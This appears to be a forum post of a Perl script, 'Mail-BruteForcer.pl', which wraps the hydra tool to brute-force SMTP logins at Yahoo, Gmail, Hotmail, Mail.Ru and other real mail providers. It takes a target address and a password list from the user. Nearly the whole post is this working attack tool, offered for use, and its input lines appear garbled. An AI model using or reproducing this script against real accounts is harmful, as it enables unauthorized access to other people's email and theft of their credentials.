Perl Mail-BruteForcer.pl bY mR.Thg (PoC)

[sQuo]

>#!/usr/bin/perl

# This is a simple Mail BruteForcer (Cracker) that can
# bruteforce Yahoo, Gmail and Hotmail mail's. In the next
# version we will add more SMTP servers.
# Keep in touch!
# Author         : mR.Thg !
# Contact          : [email protected]
# Script version     : 1.1
# Tested OS         : Debian
# Release date         : 14/9/2013
# Next Release         : 01/11/2013
# Enjoy! 

use warnings;

system( "clear" );
print( "Multiple Mail Bruter v1.1!");
print( "\n 1. Yahoo");
print( "\n 2. Hotmail");
print( "\n 3. Gmail");
print( "\n 4. Mail.Com" ); 
print( "\n 5. 1&1.com" );
print( "\n 6. Mail.Ru" );
print( "\n 7. Sfr.Fr" );
print( "\n" );

print("Chose SMTP: ");
$menu=; 
chomp($menu);

print "Mail: ";
$mail=; 
chomp($mail);
print "List: ";
$list=;
chomp($list);


if ( $menu == 7 ) 
   { 
   system( "hydra -S -l " . $mail . " -P " . $list . "  -e ns -V -s 587 smtp.sfr.fr smtp" ); 
   }
if ( $menu == 6 ) 
   { 
   system( "hydra -S -l " . $mail . " -P " . $list . "  -e ns -V -s 465 smtp.mail.ru smtp" ); 
   }
if ( $menu == 5 ) 
   { 
   system( "hydra -S -l " . $mail . " -P " . $list . "  -e ns -V -s 587 smtp.1and1.com smtp" ); 
   }
if ( $menu == 4 ) 
   { 
   system( "hydra -S -l " . $mail . " -P " . $list . "  -e ns -V -s 587 smtp.mail.com smtp" ); 
   }
if ( $menu == 3 ) 
   { 
   system( "hydra -S -l " . $mail . " -P " . $list . "  -e ns -V -s 465 smtp.gmail.com smtp" ); 
   }
if ( $menu == 2 ) 
   { 
   system( "hydra -S -l " . $mail . " -P " . $list . "  -e ns -V -s 587 smtp.live.com smtp" ); 
   }
if ( $menu == 1 )
   {
   system( "hydra -S -l " . $mail . " -P " . $list . "  -e ns -V -s 465 smtp.mail.yahoo.com smtp" ); 
   }
__END__